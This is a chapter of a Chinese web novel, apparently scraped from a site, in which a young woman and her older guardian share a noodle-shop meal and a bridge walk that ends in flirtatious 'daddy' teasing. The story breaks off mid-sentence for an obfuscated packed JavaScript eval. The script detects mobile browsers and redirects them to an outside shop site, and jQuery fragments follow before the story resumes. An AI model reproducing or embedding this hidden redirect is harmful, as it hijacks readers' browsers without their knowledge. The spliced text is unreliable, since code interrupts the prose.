35.葱油拌面、Daddy

作品:《困渡寒鸦

    裕梦梁比想象中还要没架子。


    此时,正是午饭时间,厅堂里几乎坐满了人,附近厂子里的流水线工人,货车司机,菜市场里的中小商贩,还有理发店老板娘,大多都是年纪比较大的本地人,偶尔有小孩乱跑,很吵。


    黎宝因坐在裕梦梁对面,有些心虚地捡了颗糖果揉捏起来,他们周围全是让人无法忽视的打量。


    她突然有点搞不清楚,自己故意把裕梦梁拉到这种市井气浓郁的地方,到底是在惩罚他在博物馆对自己的精神摧残,还是自讨苦吃。


    他实在是太惹眼了。


    不管是发色瞳孔,还是容貌气场,他待在这简直格格不入,备受瞩目。


    饭馆老板来回踱步好几次,见裕梦梁端坐在座椅上,像在观摩亿万合同似的查阅菜单,生怕招待不周似的又送来一壶开水。


    “小姑娘,侬这位朋友会讲汉语伐?有勿有撒忌口,阿拉厨房也好当心做饭菜。”


    裕梦梁的忌口?


    黎宝因还真是被老板问住了,她下意识看向裕梦梁,却发现对方还在翻看那张只有正反两面的塑料菜单,他一声不吭,似要坐实自己是个不懂中文的“外国人”的无赖态度。


    明明就会讲沪语,还在这里装哑巴。


    黎宝因腹诽,又忐忑于自己的小算盘恐怕已经被对面看穿,她翻了一遍菜单,直接点了几样招牌,然后询问老板,“调味品可以单独上么?我们自己看着用。”


    老板满口答应离开,黎宝因下意识抬脚,想踢裕梦梁桌子下面的腿,动作刚做一半,就立刻规规矩矩拢腿坐好。


    「就知道为难我,怎么不见你缠着先生?」


    「如果先生亲自来接你,你敢不敢这么跟他讲话?」


    姚铭羽的话忽然浮现耳畔,黎宝因此刻终于意识到,自己在面对裕梦梁时,确实过分拘谨。


    她对别人,就从未这样。


    这样可不行。


    她总是一副小兔子见了大灰狼的姿态,怎么能有机会施展魅力,征服对方?况且,她还要想办法试探出他对自己的心意呢!绝对不可以这么被动。


    “早饭不合胃口?怎么饿着肚子出门。”


    裕梦梁倒了杯水,放在黎宝因面前,很随意一句话,却轻而易举击破了她的防守。


    黎宝因拧糖纸的动作一顿,自己没怎么吃早餐的事情到底让他知道了,她抬眼,忍不住反驳道:“原来先生会说话呢?我还以为这里的空气有剧毒。”


    不然,为什么从进到馆子,他就一言不发。


    “所以,你是因为我,才不敢讲话。”


    我哪有不敢?话到嘴边,黎宝因又觉得他说的很有道理。她不就是因为他不吭声,揣摩不准他的心思,所以才踌躇不语么?


    察言观色,她最擅长。


    但面对裕梦梁,他总是落败。


    窗户纸被无情挑破,黎宝因脸上有些许挂不住,“云壁姐说,食不言寝不语。”


    她说完,又盯着裕梦梁的表情,“再说,我作为东道主请客,自然是要主随客便,哪有客人不爱说话,主人聒噪不停的。”


    “两屉招牌小笼,一份葱油拌面,三鲜馄饨,再加两份浇头,您的菜齐了。”


    对话被上菜声打断,黎宝因暗暗松了口气。


    她正想着,就看到裕梦梁熟练地翻开瓷碗,用茶水涮了一遍,而后绕开葱末,将汤料调配好,倒入面碗搅拌,然后递向了自己。


    “待客周到与讨好他人是两回事。”他夹起小菜放进黎宝因碗里,轻笑着说,“不要为了体面,亏待自己,做自己不愿做的事。”


    黎宝因听出他这是在点自己为了体态不吃早餐,又勉强逛博物馆的行为,心里微讶的同时,又觉得委屈。


    她也不全然是为了颜面,公馆的饭菜确实不合她胃口。


    目光落在拌面,她忍不住抬眼望向裕梦梁,他怎么知道她吃葱油拌面不爱放生葱?


    “你很喜欢这几样吃食?”


    裕梦梁似乎只是随口一提,黎宝因有些黯然道:“以前和姆妈常来光顾,我最钟爱他们家的拌面,又香又鲜,独此一份。”


    “在家怎么不曾听你提起?”


    “后厨阿嫂每日绞尽脑汁布置饭菜,云壁姐喜欢粤菜,铭羽哥又偏爱西餐,我不常在家,总不能劳动厨房专为我一人折腾,况且他们做的我未必合我心意。”


    她想说自己毕竟寄人篱下,但对上裕梦梁霭蓝的温柔眼,又觉得这话也太没良心。


    裕梦梁果然不再追问。


    黎宝因自己大快朵颐,想着一人吃完所有餐饭,再带裕梦梁去其他地方饱腹,没想到她刚放下碗,对面的笼屉也空了一半。


    感受到她的视线,裕梦梁沾了沾唇角,眼神询问。


    黎宝因慌忙低头,唇角却微微抿起,“我还以为先生吃不惯的。”


    裕梦梁搁下筷子,顺手给黎宝因要了半碗面汤。


    他握着汤碗递向黎宝因,语气仍旧平稳随和,“我外祖母是俄罗斯人,但外祖父却是地地道道的上沪人,母亲未出嫁之前,很擅长烹饪,因此这些本地饮食,也是我年少的记忆。”


    裕梦梁每次提到母亲时,话语总会格外低柔,黎宝因很喜欢他此刻眼底的温度,因此屏气凝神,聆听着每一个音节。


    “如果你认为后厨做的不够地道,改日可以尝尝我的手艺。”


    黎宝因不可置信地抬眼,完全没想到这样的话语,竟然是从裕梦梁口中说出。


    他要为她洗手作羹汤?她没有幻听吧。


    裕梦梁袖口微微卷起,他双臂撑在光洁的木质桌面,与她对视,“宝因,你不需要学习如何讨好别人,因为有的是人会对你好。”


    包括我。


    他言辞并不激烈,但黎宝因心里却惊涛骇浪。


    记得某年冬日,好几家媒体围堵在公馆门口请求采访,姚铭羽十分坚决地婉拒了,她当时就趴在窗户里看着,回来就问他,上电视台不是顶好的事?为什么先生这么排斥。


    当时姚铭羽只是轻轻地笑了一下,此时此刻,她终于明白,他那时候面对自己时,无奈的心情。


    有些人需要攀附,才能获得名望,而有的人,他的存在,本身就是那道荣光。


    而这样高高在上的人,此刻却坐在她的面前,陪她下馆子,吃小笼包,耐心地提醒她为人处世的道理。


    他真的很像她理想中的父亲。


    但是又不光是如此,很明显,她想要的更多,而且越来越多。


    “怎么这副表情?”见黎宝因一脸郑重,裕梦梁笑道:“怕我做的不好吃?”


    黎宝因悄悄提起唇角,不由自主带了点娇嗔,“先生自己说的话,样样都记得最好。”


    意料之中,满桌子的饭两人吃了不到五分之一,裕梦梁端坐着,等待着黎宝因的处理方案。


    “先前,你处理客人忌口的举措就很得当。”


    言下之意,眼下的残局,也该你这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14024026|144534||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    个罪魁祸首来收拾。


    黎宝因有种搬起石头砸自己的脚的感觉,她看了两圈,内心坚定浪费可耻,于是果断站了起来,找老板要了几个打包盒,然后把所有餐点全都装好,最终看向了裕梦梁。


    “铭羽哥加班肯定很辛苦。”她示意面前五六只饭盒,“劳烦先生派人给他送过去吧!”


    跟在不远处努力降低存在感的保镖:“……”


    吃饱喝足离开饭馆,黎宝因走在石板路上,小小地伸了个懒腰,感觉这顿饭吃完,她的身心都放松下来。


    她随意走在热闹的街边,一会逛逛香水店,一会转一圈鲜花摊,哪怕是在百货公司排队试衣服,裕梦梁都是耐心等待,专注得让人忘记他的时间其实比金子还要珍贵。


    漫步到外白渡桥时,已是黄昏。


    隔岸是刚刚建设完毕的东方明珠塔,瑰丽时髦的造型在落日的映照下更显得流光溢彩,黎宝因靠在桥栏上,见许多年轻男女都在这座古老的铆接钢桥上留念,于是也央求裕梦梁拍一张。


    裕梦梁一路上话都格外少,闻言倒是略有兴味道:“此处看风景,还是夜里最佳。”


    黎宝因抱着满怀的鲜花,有些探究地走到裕梦梁面前,“先生,您是不是心情不太好?”


    裕梦梁垂眸看她,暖色调的落日斜辉笼罩过来,黎宝因甚至看得清他浅金的睫毛,瞳孔里的霭蓝汪洋。


    她正入神,身后突然传来一道靓丽的嗓音。


    “请问要拍合照吗?五块钱两张,即拍即得。”


    黎宝因顺势扯了下裕梦梁衣角,裕梦梁从她跃跃欲试的脸上挪开视线,伸手接过相机,仔细检查了一遍。


    “也好。”


    照片到手,黎宝因特意要求删除了底片,回到裕梦梁身边,她扬起照片晃了晃,“先生您可真上相,不像我,一入镜就圆乎乎的。”


    裕梦梁没有接那两张张纸,黎宝因隐隐察觉到他的不悦,迎上视线,就听到对方问道,“方才拍照,我们被误以为是情侣,为什么不澄清?”


    略微停顿,裕梦梁像是突然想起更要紧的事。


    “宝因,你从未喊过我叔叔。”


    小笼馆门口,黎宝因那声“铭羽哥”萦绕耳畔,裕梦梁怎么想都觉得不舒坦,许云壁与她亲厚也就罢了,可是姚铭羽分明与他同辈。


    长幼无序,尊卑不分,往后出席重要场合,如何立足,裕梦梁不由地严肃起来。


    眼看就要被教育,黎宝因连忙委屈道,“可是,先生看起来更像哥哥。”


    裕梦梁温声正色,“我这个年纪,做你父亲都很妥当。”


    黎宝因怔住片刻,她极为缓慢地眨了眨眼,而后仰头跟裕梦梁科普。


    “先生,您可能不太理解,但我有位法国同学,他说在他们国家,daddy这个词,在不同的语境里有很多种用法。”


    裕梦梁来不及阻止,黎宝因已经说出了口。


    “譬如,某些爱称,混谓,还有指令……所以,您的说法,其实也不完全恰当。”


    “黎宝因。”


    裕梦梁念出黎宝因的全名,神情难得出现了一丝波动。


    寂静半晌。


    黎宝因手指交错,心里已经在为自己的胆大妄为默哀时,裕梦梁突然从她手里拿过鲜花,而后俯身看向她,语重心长地说,“宝因,我想——”


    温柔刀刺向心房。


    她听到他说:“你需要得到一点点教训,为你的口无遮拦。”